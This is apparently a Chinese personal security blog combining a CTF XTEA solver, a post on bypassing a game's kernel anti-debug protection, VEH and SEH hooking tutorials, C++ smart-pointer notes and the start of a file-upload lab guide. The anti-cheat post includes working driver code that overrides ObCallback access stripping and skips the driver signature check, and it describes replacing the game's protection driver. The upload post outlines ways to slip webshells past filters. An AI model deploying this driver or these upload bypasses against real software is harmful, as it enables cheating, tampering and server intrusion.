
//上面这三个都是在尝试
//比较数据
//unsigned int ans[14] = { 假的,出生
// 0x027B44BE, 0x8C4B95BA, 0x90F1A8E3, 0x3CA4CDFB, 0x689EEE2F, 0xED6DAA79, 0x2F77B085, 0xFF413F27,
// 0x43CFC11F, 0xFAAC00AA, 0x09574371, 0xB2F7BA51, 0x47529667, 0xC74050A0
//};

unsigned int ans[14] = {
0x9851E3A1, 0x49765686, 0x812B6B6F, 0x9612CECF, 0x3C3570A2, 0xF15C6231, 0xAA6B77FA, 0xBE056D9E,
0xF8A424E8, 0x0B3A23DB, 0x03CC2016, 0xA92BB5AD, 0x1D789F34, 0x9EF9B92E
};

//unsigned char ans[] = "\xde\xde\xde\xde\xde\xde\xde\xde";
//DWORD res[] = { 0x027B44BE ,0x8C4B95BA };
//DWORD k[4] = { 2,2,3,4 };

DWORD k[4] = { 0xEF6FD9DB, 0xD2C273D3, 0x6F97E412, 0x72BFD624 };

void xteaD(DWORD v[2], DWORD const key[4]) {
unsigned int i;
DWORD v0 = v[0], v1 = v[1], delta = 0x9E3779B9, sum = delta * 0x66;
for (i = 0; i < 0x66; i++) {
v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0; v[1] = v1;
}

int main()
{
// printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
//xteaE((DWORD*)ans,k);
//xxtea((DWORD*)datas,2, k);

//printf("%x %x\n", ((DWORD*)ans)[0], ((DWORD*)ans)[1]);
for (int i = 0; i < 14; i += 2)
{
xteaD((DWORD*)&(((DWORD*)ans)[i]), k);
}
unsigned char* str = (unsigned char*)ans;
for (int i = 0; i < 56; i++)
{
printf("%02x ", str[i]);
}
printf("\n\n\n");
for (int i = 0; i < 56; i++)
{
printf("%c", (unsigned char)((0x7f - str[i])- 0x40));
}
//printf("%x", ans[2]);
//DWORD sum = 0;
//for (int i = 0; i < 0x66; i++)
//{
// sum += DELTA;
//}
//printf("%x", sum);

return 0;
}

最后拿到flag:flag{u_ar3_re@11y_g00d_@t_011vm_de0bf_and_anti_debugger}

草草了,ollvm,还是第一次见混淆之后的程序,太抽象了,有一种vmp的美,给我搞了一天,难绷;

根据flag可以知道有一个deobf的工具应该可以有效去除ollvm的混淆,之后可以研究来看看;

阅读全文
驱动obcallback反附加的一次尝试

前言

起因是因为某手游用CE附加会发现无法附加上,那包括很多目前流行的游戏,steam也好,wegame也好基本上都是这个样子的;

在没有驱动编程知识的条件下盲人摸黑阶段,只有用r3的思路去揣测,是否是对进程,服务,等等内容进行遍历找CE的关键字段被检测到了,又或者调了一个Windows回调不停的遍历text段和关键部分看是否被篡改等等思考,当然用ida传统CTF逆向的方法去做很难,代码量太大,把文件扔进去ida自动扫描就要扫半天;

根据这些r3的思考也做过几次尝试,比如用魔改版的CE,比如写dll注入读数据,都没有结果,而且也不知道原因啊,卡了一段时间;

之后在b站刷视频,说是这个手游有一个驱动保护,权限高于用户层,那么去网上找了个system权限的ce工具,发现可以读写内存了,但是会被检测出来,游戏中途直接G掉,这个检测一时半会儿也找不出来,同时不能直接扣走这个驱动,它和游戏是一体的,扣走无法正常游戏;

后来看了一篇博客:https://blog.csdn.net/u011442768/article/details/109207144

里面分析了三种可能,同时这个文章用到了ark工具,我也下了个pc hunter来用,然后?然后整件事情就有了进展;

PcHunter分析

就一个一个的找过去,能发现这几个地方:

image.png

有一说一pchunter真好用吧,这个比拿着ida在那瞎jb逆好多了;

所有回调都是这个保护驱动进行的,那思路首先应该是逆一下这个驱动,找关键的回调函数,我其实都想照着上面说的博客文章进行一步一步的试了,dump驱动的镜像内存,直接跳偏移去看这些函数,但是我发现了一个问题如下:

image.png

可能是我不太会dump吧,搞出来的镜像貌似是静态的,关键代码段都被内嵌的upx加密了,线索被断掉了(菜);

花时间的话应该也能搞定dump这块,但之后的内容让我省了这一部分技术性的操作;

去必应搜索obcallback可以得到很多有用的东西,比如obcallback实际上会去操作OB_PRE_OPERATION_INFORMATION这个结构体,这个结构体是每个进程单独有的,里面有一个叫做 DesiredAccess 的字段,是影响进程读写内存等等权限的;

那之前是用SYSTEM级别权限的CE可以直接进行读写,是否可以猜测保护驱动展开的obcallback在一直给每个新开的进程读写内存降权,因为它的obcallback是在进程线程创建时会去调用;

根据这个猜测进行尝试,如果我在它的回调调用之后进行提权操作,那么就可以恢复读写权限;

用魔法打败魔法,它是驱动执行的ob回调,那么我们也写一个驱动来执行我的ob回调;

编写驱动尝试

去b站搜怎么写驱动啊,怎么让驱动调用obcallback,那也是给找着了;

首先还是用VS2022进行,但是需要安装SDK和WDK,同时这两个需要同样的版本号;

同时WDK需要和windows版本对应,为了使用支持VS2022版本的WDK还特别升级了Windows11 22H2进行和WDK进行匹配;

然后神奇的发现了电脑开机速度还变快了( 别用垃圾win11 21h2

之后环境配好之后开始写驱动,实现的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
//包含驱动开发中基本的数据结构,数据类型
//类似于iostream
#include <ntifs.h>
#include <ntddk.h>

//数据结构 LDR
typedef struct _LDR_DATA {
struct _LIST_ENTRY InLoadOrderLinks;
struct _LIST_ENTRY InMemoryOrderLinks;
struct _LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG32 SizeOfImage;
UINT8 _PADDINGO_[0x4];
struct _UNICODE_STRING FullDllName;
struct _UNICODE_STRING BaseDllName;
ULONG32 Flags;
} LDR_DATA, * PLDR_DATA;

//定义一个系统函数
NTKERNELAPI UCHAR* PsGetProcessImageFileName(PEPROCESS Process);

//声明回调函数
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation);
//给ce改名,长ce名get名称函数有问题
const char* g_MyProcessName = "111.exe";
//实现
OB_PREOP_CALLBACK_STATUS MyCallBack(PVOID RegistrationContext, POB_PRE_OPERATION_INFORMATION OpertaionInformation)
{
//只要有进程创建就会调用,所以先if判断
//KdPrint(("this is in call back!!!\n"));
PEPROCESS Process = PsGetCurrentProcess();
//KdPrint((PsGetProcessImageFileName(Process)));
if (_strnicmp(g_MyProcessName, PsGetProcessImageFileName(Process), strlen(g_MyProcessName)) == 0)
{
//是我们要找的进程
//恢复权限 openprocess
OpertaionInformation->Parameters->CreateHandleInformation.DesiredAccess = 0x1fffff;
OpertaionInformation->Parameters->DuplicateHandleInformation.DesiredAccess = 0x1fffff;
KdPrint(("进入callback!\n"));
return 0;
}
return OB_PREOP_SUCCESS;
}

//结构体数组 定义了callback
OB_OPERATION_REGISTRATION ObUpperOperationRegistration[] =
{
//第二个参数是回调执行时期,第三个参数是回调地址
//这里让回调在进程线程创建和复制的时候执行
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};
OB_OPERATION_REGISTRATION ObLowerOperationRegistration[] =
{
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL},
{NULL, OB_OPERATION_HANDLE_CREATE | OB_OPERATION_HANDLE_DUPLICATE ,MyCallBack,NULL}
};

//注册回调需要的结构体变量
OB_CALLBACK_REGISTRATION UpperCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION, //版本号
2, //注册数量 (线程,进程创建时)
RTL_CONSTANT_STRING(L"880000"), //影响回调的执行顺序 回调号 越小后执行
NULL,
ObUpperOperationRegistration //另一个数据结构,包含回调函数
};
//执行两次,包含原神的回调函数在数字之间,必定在它的回调函数之后执行我们的
OB_CALLBACK_REGISTRATION LowerCallbackRegistration =
{
OB_FLT_REGISTRATION_VERSION,
2,
RTL_CONSTANT_STRING(L"1000"),
NULL,
ObLowerOperationRegistration
};

HANDLE g_UpperHandle, g_LowerHandle;

//声明回调函数的注册和卸载函数
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject);
void ObRegisterUnload();
//实现
BOOLEAN ObRegisterCallback(PDRIVER_OBJECT DriverObject)
{
NTSTATUS sta;
//注册回调函数需要签名
//或上一个0x20可以不需要签名 这个flag在win api里是timestamp的作用
PLDR_DATA ldr;
ldr = (PLDR_DATA)DriverObject->DriverSection;
ldr->Flags |= 0x20;

//指定回调类型 这个结构体的第一个参数
ObUpperOperationRegistration[0].ObjectType = PsProcessType;
ObUpperOperationRegistration[1].ObjectType = PsThreadType;

ObLowerOperationRegistration[0].ObjectType = PsProcessType;
ObLowerOperationRegistration[1].ObjectType = PsThreadType;

//进行注册 第二个参为返回句柄
sta = ObRegisterCallbacks(&UpperCallbackRegistration, &g_UpperHandle);
if (!NT_SUCCESS(sta))
{
//失败就进卸载
ObRegisterUnload();
g_UpperHandle = NULL;
}
sta = ObRegisterCallbacks(&LowerCallbackRegistration, &g_LowerHandle);
if (!NT_SUCCESS(sta))
{
ObRegisterUnload();
g_LowerHandle = NULL;
}
}
void ObRegisterUnload()
{
if (g_UpperHandle != NULL)
ObUnRegisterCallbacks(g_UpperHandle);
if (g_LowerHandle != NULL)
ObUnRegisterCallbacks(g_LowerHandle);
}


//下面的为驱动主体 ----------------------------------------

//每个驱动都需要卸载,卸载函数
void DriverUnload(PDRIVER_OBJECT DriverObject)
{
//卸载注册的回调
ObRegisterUnload();
KdPrint(("Driver unload!\n"));
}

// NTSTATUS 32位数据 -> DWORD
NTSTATUS DriverEntry(
PDRIVER_OBJECT DriverObject, //驱动对象 -> 句柄
PUNICODE_STRING RegistryPath //注册表路径
)
{
//指定卸载函数
DriverObject->DriverUnload = DriverUnload;

//注册回调函数
ObRegisterCallback(DriverObject);

//debug版本中是printf的作用,release版本无作用,注释掉了
KdPrint(("hello second bc.\n"));

return 0;
}

里面的注释都很到位,可以慢慢看;

解释下的话,驱动编写需要注意几点,驱动的main函数叫DriverEntry,同时需要给到卸载函数(析构的作用);

同时obcallback的调用需要进行注册,之后需要卸载;

KdPrint其实是DbgPrint的一个宏定义,在debug版本可以显示打印内容;

之后的话,搜索怎么调试驱动搞了半天,要什么双机调试,不然蓝屏之类的,所以驱动开发还是得要虚拟机,别用真机吧;

我懒得搞就下了个 driver monitor进行手动加载驱动,包括下载一个 debugview 进行对KdPrint内容的捕捉(既然不好调试就用最经典的print调试法);

然后发现driver monitor装载不上,是因为驱动要签名,又去找签名方法,找到了个好用的方法,b站视频如下:

驱动数字签名教程_哔哩哔哩_bilibili

之后就可以装载驱动进行测试了,发现我日还真能直接用原版ce进行读写内存了,而且不会显示被检测到:

image.png

但是还是依然无法进行调试器附加,原因是和pchunter找到的应用层钩子有关系啊,它钩住了一个ntdll的dbgbreakpoint,把这个恢复之后就能成功附加上了;

至此CE反附加就攻克了;

稳定性调试

当然ce能附加了,但游戏依然不稳定,时不时就会掉线,ce附加时不时也会自动脱落,有时候还会在搜数据的时候游戏弹异常直接G;

猜测它的驱动保护里还有一些对于调试器和读写内存的检测;

试了很多办法之后,不管是改调试器,还是开dbvm,等等都无法稳定调试;

那最稳妥的方法应该是折返回去好好逆一下保护驱动的dump出的内存;

想着我们写的驱动和它的保护驱动性质差不多,都要去注册ob回调,干脆一不做二不休把我们的驱动改个名扔它启动目录下去伪装成它的保护驱动,结果还相当有效,简直瞎猫碰死耗子了;

猜测原因是它的主程序执行驱动的时候,只是单纯做了简单判断有没有这个文件,跑没跑上,没有去检测文件签名属性,以及内容;

只能说运气特别好啊,省了超级多麻烦,这样一来游戏一执行还会启动我们的驱动程序,都省的用driver monitor了;

之后就是一马平川了,该怎么玩CE就怎么玩,游戏数据也能正常被保存到服务器上;

总结

总的说来,这个保护驱动并不强,最狠的最主要的就是通过obcallback来进行降权,没有内核钩子;

这一套下来也花了两天时间去做,反思了一下如果想要攻克其他类型的驱动保护,就需要进一步的学习驱动编程以及内核R0部分的内容,同时需要更好的逆向手法去获取内存中真实的镜像拿到代码去分析,才能对症下药去解决检测问题;

这其实还能算是我驱动编程的入门学习了;

没有使用r3那套进行辅佐保护我猜测的原因是模块化导致的,游戏一开始做的时候,保护和内容是分开的,同时以我的那套r3保护构想来说的话,太吃资源性能也是一方面的问题;

阅读全文
VEHhook

VEH介绍

全称 vector exception handle,向量化异常处理;

和SEH类似的东西,SEH存放于线程的栈上;

而VEH存放于进程的堆上,且是以双链表的形式,而SEH是单链表;

异常处理顺序为 : 调试器 -> VEH -> SEH;

添加VEH异常处理可以用如下API:

1
2
3
4
PVOID AddVectoredExceptionHandler(
ULONG First,
PVECTORED_EXCEPTION_HANDLER Handler
);

第一个参数非0则添加到第一个处理,否则添加到末尾;

Handler是函数指针,原型如下:

1
2
3
4
LONG PvectoredExceptionHandler(
[in] _EXCEPTION_POINTERS *ExceptionInfo
)
{...}

返回值可以是0和-1,返回0代表继续处理,返回-1代表返回原本触发异常处继续执行;

其中参数是一个结构体,结构如下所示:

1
2
3
4
typedef struct _EXCEPTION_POINTERS {
PEXCEPTION_RECORD ExceptionRecord;
PCONTEXT ContextRecord;
} EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

第一个参数记录的是异常信息结构体;

第二个参数保存的是异常发生时,线程处理器状态信息(寄存器环境值);

那么当异常发生时,被VEH捕获后,就可以改动寄存器的值来进行异常处理;

如下例子:

当除零时会发生异常,此时如果添加了VEH处理,可以通过更改环境值进行异常绕过,或者处理;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream> 
#include <windows.h>
using namespace std;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//跳过
ExceptionInfo->ContextRecord->Eip += 4;
return -1;
}

int main() {

AddVectoredExceptionHandler(1, PvectoredExceptionHandler);
int a = 0;
a /= 0;
printf("123\n");
return 0;
}

结果如下图所示:

result

hook原理

因为VEH处理函数可以拿寄存器,也就可以拿目标api的输入输出,只需要在目标api内触发一个异常,就可以使用ebp以及其他寄存器拿到其输入参数以及修改输出内容;

SEH HOOK原理也如此,它们的核心思想是利用了异常处理的框架,不用自己去构造;

触发断点应选择硬件断点,避免修改代码int3绕过大量检测;

缺陷是只能hook4个地址,因为硬件断点就这么多;

前置知识:

调试寄存器

register

DR0 ~ DR7

DR0 ~ DR3存放的是硬件断点的断点地址;

DR6存放的是异常信息;

DR7则是控制作用;

其中DR7里, L0-L3对应DR0-DR3的断点是否有效,局部断点;

G0-G3同上,全局断点(Windows没用);

LEN0 - LEN3 对应DR0 - DR3的断点长度,不同类型断点,长度不同,比如执行断点长度为1;

00对应1,01对应2,11对应4;

RW0 - RW3 对应断点类型,00对应执行断点,01对应写入断点,11对应读写断点;

要下断点那么就需要修改调试寄存器,如何修改呢?

1
2
3
4
BOOL SetThreadContext(
[in] HANDLE hThread,
[in] const CONTEXT *lpContext
);

用以上函数设置,自定义context结构和数值,第一个参数用GetCurrentThread来获取句柄;

设置context结构的时候要注意它有一个字段为 contextFlags,标识context哪些属性有效;

1
CONTEXT_DEBUG_REGISTERS		//表明调试寄存器有效

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <iostream> 
#include <windows.h>
using namespace std;

HANDLE main_thread = 0;

LONG WINAPI PvectoredExceptionHandler(
_EXCEPTION_POINTERS* ExceptionInfo
)
{
cout << "触发VEH异常处理." << endl;
//处理对应
if (ExceptionInfo->ExceptionRecord->ExceptionAddress == MessageBoxA)
{
cout << "执行hook." << endl;
//修改字符串输出 此时刚刚进函数还没进行栈平衡
DWORD arg1Addr = ExceptionInfo->ContextRecord->Esp + 4;
DWORD arg2Addr = ExceptionInfo->ContextRecord->Esp + 8;
DWORD arg3Addr = ExceptionInfo->ContextRecord->Esp + 12;
DWORD arg4Addr = ExceptionInfo->ContextRecord->Esp + 16;
//原api执行
CONTEXT context = { 0 };
CONTEXT oldcontext = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
SetThreadContext(main_thread, &context);
int result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//修改
LPCSTR re = "你是黑矮星.";
*(LPCSTR*)arg2Addr = re;
result = MessageBoxA(*(HWND*)arg1Addr, *(LPCSTR*)arg2Addr, *(LPCSTR*)arg3Addr, *(UINT*)arg4Addr);
ExceptionInfo->ContextRecord->Eax = result;

//直接返回 eip + 70 == ret
ExceptionInfo->ContextRecord->Eip += 70;
return -1;
}

return 0;
}

int main()
{
AddVectoredExceptionHandler(1, PvectoredExceptionHandler);

//hook api address
DWORD breakPoint0 = 0;
HMODULE user32 = LoadLibraryA("user32.dll");
breakPoint0 = (DWORD)GetProcAddress(user32, "MessageBoxA");

//设置断点 局部有效
CONTEXT context = { 0 };
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
context.Dr7 = 1;
context.Dr0 = breakPoint0;
main_thread = GetCurrentThread();
SetThreadContext(main_thread, &context);

//调用 触发断点处理异常
if (MessageBoxA(0, "我是谁?", 0, 0))
cout << "成功执行..." << endl;

return 0;
}

以上代码hook了messageBoxA这个函数,hook的时候执行了两次,一次原函数,一次修改输出后的函数,可以正确返回;

阅读全文
WindowsSEH

概念

全称 Structured Exception Handling

是windows操作系统默认的异常处理机制;

使用

使用 _try 包裹可能出现异常的语句

_except()处理异常,当括号内为真的时候,执行处理语句;

例如:

1
2
3
4
5
6
7
8
9
10
11
12
int main()
{
_try
{
printf("123\n");
}
_except(1)
{
printf("执行!\n");
}
return 0;
}

原理

当程序触发异常后,程序会进行ip寄存器的跳转:

非调试状态下运行程序,触发后判断是否存在异常处理器(一个函数,在上述例子中,写上了try和except()编译器给程序添加了异常处理器,并会处理except中的内容),否则退出程序;

调试状态下,操作系统会优先将异常抛给调试进程(断点原理),之后调试器的选择有:

  • 修改触发异常的代码继续执行
  • 忽略异常交给SEH执行

则windows发生异常后的处理顺序为:调试器,SEH,结束程序;

结构

1
2
3
4
5
typedef struct _EXCEPTION_REGISTRATION_RECORD
{
struct _EXCEPTION_REGISTRATION_RECORD *Next; //指向下一个节点
PEXCEPTION_ROUTINE Handler; //异常处理器(回调处理函数)
}EXCEPTION_REGISTRATION_RECORD;

这是一个链表结构中的节点,所以SEH是以链式存在的;

第一个节点位置位于 fs:[0] 段寄存器处(同时是TEB结构,即TEB第一个字段就是异常处理链);

当异常发生时,从第一个节点开始处理,之后向后传递依次处理,直到处理成功,可以返回原本位置继续执行,否则退出程序;

最后一个节点next指针指向 0xFFFFFFFF;

当在程序中写入了_try和_except之后,操作系统会动态的生成一个节点结构,从头部插入;

总结

要提一嘴的是,windows异常抛出的种类特别多,而调试器的设置有很重要的因素,在逆向的时候,遇到一些异常(比如c0005,0地址执行),直接运行过去会导致断点在SEH已经处理完的时候,并不会断在异常发生的时候,这和调试器的异常捕获设置有关;

调试器一般就只会在CC断点异常处断下;

也可以找到fs:[0]的地方,将断点直接打在SEH链表头部,这样发生异常就能断下来;

对于32位程序来说,用高级语言写的_try_except生成的新节点插入会在汇编中以如下的形式体现:

1
2
3
4
push ExceptionHandler			;编译器生成的异常处理器
mov eax, dword ptr fs:[0] ;原先的SEH链表头部
push eax
mov dword ptr fs:[0], esp

此时在栈中,原先SEH头部地址在上,相当于新节点的next,编译器给的函数在下,相当于新节点的Handler,此时esp指向新节点的第一个字段next,也就是新节点头部,所以将esp又给予fs:[0],为原链表在头部添加了一个新节点;

但要注意这只在这个函数体(栈帧)里有效,函数结束时会做出相应的栈平衡,并释放栈;

阅读全文
CPP补充:智能指针

本文参考及图片引用:C++ 智能指针 - 全部用法详解-CSDN博客

用处

避免CPP里面的内存泄漏;

例子:

当 new 一个对象的时候,在其生命周期结束时,系统会自动调用它的析构函数;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class Test {
public:
Test() { cout << "Test的构造函数..." << endl; }
~Test() { cout << "Test的析构函数..." << endl; }

int getDebug() { return this->debug; }

private:
int debug = 20;
};

int main()
{
Test a = Test();
cout << a.getDebug() << endl;

return 0;
}

test1

但是,当 new 一个对象指针指向一个匿名对象的时候,在这个对象生命周期应该结束时,并不会调用它的析构函数:

1
2
3
4
5
6
7
int main()
{
Test * a = new Test();
cout << a->getDebug() << endl;

return 0;
}

test2

换句话说,当有对象被引用的时候,就有可能导致内存泄漏,一旦内存泄漏,就会消耗整个程序的资源和效率,更甚至导致异常中断;

所以智能指针便是用来处理这个问题的;

实质

智能指针的实质实际上是一个模板类,它会管理给予它的特定类型指针,并对于指针的操作给予了很多运算符上的重载,所以在使用的时候可以直接将智能指针变量当作管理的指针直接使用;

所以你明白了智能指针为何可以对于引用的对象进行自动析构,因为它本身就是个对象,它的析构里自然就写进了析构引用的指针的操作;

所以?所以别再指针化的使用或引用这个类的类对象了,因为会导致之前的问题重复;

以下提到的 智能指针 这个名词,都可以理解是类的名字,它不是一个实际意义上的指针;

类别及其用法

所谓的智能指针在CPP中普遍使用也就存在4种形式: auto_ptr, unique_ptr, shared_ptr, weak_ptr;

其中,第一个在C++98中给出,后面三个在C++11中给出,作为前者的进阶版;

auto_ptr

用法:
头文件: #include < memory >
用 法: auto_ptr<类型> 变量名(new 类型)

这个类型是指针,但不用加*强调,写法比较奇怪,可以尝试用构造函数的调用来理解;

举例:

1
2
3
auto_ptr< string > str(new string(“要成为大牛~ 变得很牛逼!”));
auto_ptr<vector< int >> av(new vector< int >());
auto_ptr< int > array(new int[10]);

就第一部分遇到的问题,如何用智能指针解决:

1
2
3
4
5
6
7
int main()
{
auto_ptr<Test> a(new Test());
cout << a->getDebug() << endl; //重载运算符,也可以用*a来引用

return 0;
}

这个样子便解决了之前提到的引用匿名对象的无法析构的问题;

智能指针中三大函数

get()

作用是返回智能指针类管理的真实指针地址;

上面使用auto_ptr的代码可以等效为如下:

1
2
3
4
5
6
7
8
9
int main()
{
auto_ptr<Test> a(new Test());
Test* tmp = a.get();
cout << tmp->getDebug() << endl;
//delete tmp; 禁止析构智能指针管理的指针,不然会double free

return 0;
}
release()

作用是取消智能指针对管理地址的管理,将管理区置为NULL;

1
2
3
auto_ptr<Test> a(new Test());
Test *tmp = a.release();
delete tmp;

取消管理之后交给对应的指针变量,此时需要自己手动析构;

同时注意不能直接调用 a.release() , 如果直接使用,此时智能指针管理的指针为NULL,同时没有变量接收之前管理的内存地址,就会造成内存泄漏;

reset()

重置智能指针管理的内存地址;

1
2
3
4
5
auto_ptr<Test> a(new Test());

a.reset(); // 释放掉智能指针托管的指针内存,并将其置NULL

a.reset(new Test()); // 释放掉智能指针托管的指针内存,并将参数指针取代之

注意事项以及缺陷

  • 不要将auto_ptr变量定义为全局变量以及指针;

  • 使用它的赋值运算和拷贝构造时,实际上是在做管理指针的转移;

    假如p1和p2是两个已经初始化的智能指针,那么执行p1 = p2:

    trans
    图中的地址是由get()获取;

  • STL中使用auto_ptr不安全,因为容器元素需要支持复制和赋值:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    vector<auto_ptr<string>> vec;
    auto_ptr<string> p3(new string("I'm P3"));
    auto_ptr<string> p4(new string("I'm P4"));

    // 必须使用std::move修饰成右值,才可以进行插入容器中
    vec.push_back(std::move(p3));
    vec.push_back(std::move(p4));

    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;


    // 风险来了:
    vec[0] = vec[1]; // 如果进行赋值,问题又回到了上面一个问题中。
    cout << "vec.at(0):" << *vec.at(0) << endl;
    cout << "vec[1]:" << *vec[1] << endl;

    此时运行这段代码会导致访问越界中断;

  • 不支持对象数组的内存管理:
    inside

unique_ptr

为了解决上述提出来的关于 auto_ptr 的缺陷, C++新版本更新了这个进阶版;

它比较于 auto_ptr 来说,多了三个优势:

  • 依然无法进行左值构造和赋值,但是可以允许临时的右值构造和赋值;
  • 在容器中使用是安全的;
  • 允许对象数组的内存管理;

同时这里要强调一下,不管是 auto_ptr 还是 unique_ptr ,它们都是基于排他所有权模式:两个指针不能指向同一个资源;

这样一来就还是有一个问题:

unique_ptr的右值赋值效果等同于auto_ptr的=号赋值,只是做指针的转移,而非复制;

同样两个智能指针使用reset接管同一个指针的时候,最后一个会起接管作用,前者会被置零;

什么叫左值,右值? –> 左值指有专门内存空间的变量, 不是左值的都叫右值,可以是寄存器里的数,也可以是一个立即数;

那么如何实现两个智能指针的复制呢?如同平常使用的对象和类型的时候=号的第一直觉操作?

引出shared_ptr;

shared_ptr

它的出现解决了复制内存地址引用给多个智能指针使用;

至于如何实现的,首先需要回想一下,智能指针是干什么的;

智能指针用于解决引用对象的自动析构,那么引用的对象都析构了,另一个智能指针引用同样内存位置该析构谁呢?NULL吗?

所以shared_ptr和unique_ptr功能一模一样,可以理解为只是多了一个引用计数的静态类变量;

当有多个智能指针指向同一个内存地址时,引用次数就是那么多,每次在智能指针类做复制的时候在构造函数里将次数加一,析构的时候,将次数减一,判断为一的时候则析构引用的内存地址,这样就解决了引用共享问题;

引用次数的获取可以使用如下函数(use_count()):

shared

但这又引出一个新的问题;

循环引用

当一个A类中有B类的智能指针,且B类里也有A类的智能指针的时候;

当B类智能指针创建时,B引用次数加一,A类智能指针创建时,A引用次数加一;

A中引用B类智能指针时,B引用次数加一为二,同理B中引用A,A的引用次数也变为二;

这个时候系统生命周期结束时,释放创建时的智能指针,则A和B的引用次数都减1,变为1;

此时A类要析构,就需要先析构其中的B类智能指针,B类要析构,就需要先析构A类,造成无限循环等待;

weak_ptr

weak_ptr 设计的目的是为配合 shared_ptr 而引入的一种智能指针来协助 shared_ptr 工作, 它只可以从一个 shared_ptr 或另一个 weak_ptr 对象构造, 它的构造和析构不会引起引用记数的增加或减少。 同时weak_ptr 没有重载*和->但可以使用 lock 获得一个可用的 shared_ptr 对象。

它的出现就是为了解决循环引用;

在智能指针类中如需引用另一个智能指针,最好就写为weak类型,这样它不会改变引用的次数,从而破局循环引用;

一个weak类型可以直接由shared拷贝构造或者复制而来;

但weak类型不能复制或者拷贝构造给shared类型,需要使用lock()函数重新变成shared类型,同时引用次数+1;

weak指针有一个函数是 expired() ,作用是判断当前指针是否还有管理的对象,有返回false,无返回true;

总结

详细有关智能指针的代码操作如赋值,构造,析构,等等以及有关循环引用的更全面的讲解请查看第一行给出的参考网址;

本文更偏向于条目梳理和简单回顾;

大多数使用智能指针会出现的错误均已在上述给出,但这里还要提一个没有给出的错误:

禁止用任何类型智能指针get函数返回的指针去初始化另一个智能指针:

1
2
shared_ptr< int > a(new int(10));
// 一个典型的错误用法 shared_ptr< int > b(a.get());

实际上对于智能指针需要注意的操作也在于复制部分,如何利用好复制带来的方便的同时避免出错,就是智能指针需要掌握的点;

阅读全文
文件上传及其labs

环境配置问题

phpStudy搭建,php版本需要选择ts的,相应的httpd-conf也需要调整,具体调整在下方给出;

所有配置都基于老版本的小皮,新版本干不起,估计和apache版本也有关系;

可以直接使用docker,又方便又省事;

上传思路

目的是为了把木马或webShell传到服务器上,服务器一般有判断,所以要绕过;

接下来的步骤思路即为靶场题目每道所得心得:

判断分为前端JS代码判断和后端代码判断,第一步就是区分是前端还是后端:

使用抓包软件拦截状态时上传文件,如果抓不到但出结果了判断为前端,否则为后端;

前端可以由禁用JS方法来解决,后端的花样比较多,一般而言,第二步先改包头content-type字段(其实大多数时候用不到,和ESP定律一个尿性);

第三步区分黑白名单,黑名单就尝试后缀绕过,如php3,php5,phtml(此方法针对于过滤不完全的黑名单机制);

补充知识:apache服务的php版本中带有nts(not thread safe)的,是非多线程安全的,目前流通使用的大多都是TS的;

而往往nts版本的php会导致有些漏洞利用不了;

第四步就是正儿八经的文件上传漏洞的入门内容了,.htaccess绕过,详细见P04;

.user.ini绕过,详见P05;

::$DATA绕过,详见P09;

第五步便是正则绕过,各种特殊写法,在P05之后都有提及,(白名单)空字符(%00,0x00)截断;

第六步是针对于文件内容检测的绕过思路,图片标识,图片🐎一类的尝试;

另类,则是条件竞争

对于文件上传的总结位于P20,归于后缀绕过,内容绕过,条件利用三大类;

P01

通过BP抓包判断为前端检测,直接看前端JS,主要逻辑通过查找元素发现submit post之后返回一个check函数:

check

搜索找到这个函数:

func

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
//定义允许上传的文件类型
var allow_ext = ".jpg|.png|.gif";
//提取上传文件的类型
var ext_name = file.substring(file.lastIndexOf("."));
//判断上传文件类型是否允许上传
if (allow_ext.indexOf(ext_name) == -1) {
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
}

